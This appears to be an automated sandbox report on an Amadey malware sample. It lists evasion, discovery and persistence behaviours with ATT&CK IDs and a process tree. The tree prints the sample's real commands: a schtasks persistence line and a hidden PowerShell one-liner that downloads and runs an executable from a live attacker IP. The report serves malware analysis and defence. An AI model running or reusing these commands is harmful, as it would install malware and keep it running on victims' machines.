amadey | 35fbdd95d2951a99c5420f110a434bebb19ee51ddd040c28c45f9cb71d5ca9b9

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	3056	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3056	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	3056	powershell.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe

Executes dropped EXE 2 IoCs

pid	Process
2736	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE
1380	skotes.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	skotes.exe

Loads dropped DLL 4 IoCs

pid	Process
3056	powershell.exe
3056	powershell.exe
2736	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE
2736	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2736	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE
1380	skotes.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	26LC9_random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2960	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3056	powershell.exe
3056	powershell.exe
3056	powershell.exe
2736	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE
1380	skotes.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3056	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
2284	26LC9_random.exe
2284	26LC9_random.exe
2284	26LC9_random.exe
2736	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2284	26LC9_random.exe
2284	26LC9_random.exe
2284	26LC9_random.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2284 wrote to memory of 2484	2284	26LC9_random.exe	29
PID 2284 wrote to memory of 2484	2284	26LC9_random.exe	29
PID 2284 wrote to memory of 2484	2284	26LC9_random.exe	29
PID 2284 wrote to memory of 2484	2284	26LC9_random.exe	29
PID 2284 wrote to memory of 2588	2284	26LC9_random.exe	30
PID 2284 wrote to memory of 2588	2284	26LC9_random.exe	30
PID 2284 wrote to memory of 2588	2284	26LC9_random.exe	30
PID 2284 wrote to memory of 2588	2284	26LC9_random.exe	30
PID 2484 wrote to memory of 2960	2484	cmd.exe	32
PID 2484 wrote to memory of 2960	2484	cmd.exe	32
PID 2484 wrote to memory of 2960	2484	cmd.exe	32
PID 2484 wrote to memory of 2960	2484	cmd.exe	32
PID 2588 wrote to memory of 3056	2588	mshta.exe	33
PID 2588 wrote to memory of 3056	2588	mshta.exe	33
PID 2588 wrote to memory of 3056	2588	mshta.exe	33
PID 2588 wrote to memory of 3056	2588	mshta.exe	33
PID 3056 wrote to memory of 2736	3056	powershell.exe	35
PID 3056 wrote to memory of 2736	3056	powershell.exe	35
PID 3056 wrote to memory of 2736	3056	powershell.exe	35
PID 3056 wrote to memory of 2736	3056	powershell.exe	35
PID 2736 wrote to memory of 1380	2736	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE	36
PID 2736 wrote to memory of 1380	2736	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE	36
PID 2736 wrote to memory of 1380	2736	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE	36
PID 2736 wrote to memory of 1380	2736	TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE	36

C:\Users\Admin\AppData\Local\Temp\26LC9_random.exe
"C:\Users\Admin\AppData\Local\Temp\26LC9_random.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn yZrDrmabUGS /tr "mshta C:\Users\Admin\AppData\Local\Temp\kIm97H9q4.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2484
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn yZrDrmabUGS /tr "mshta C:\Users\Admin\AppData\Local\Temp\kIm97H9q4.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2960
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\kIm97H9q4.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'WIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3056
  - - C:\Users\Admin\AppData\Local\TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE
      "C:\Users\Admin\AppData\Local\TempWIH8RLKS1WLYKNQT2GXPIC8JGOAY7DYC.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Loads dropped DLL
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2736
    - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

2

Credential Access

Discovery

Query Registry

3

System Information Discovery

2

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

2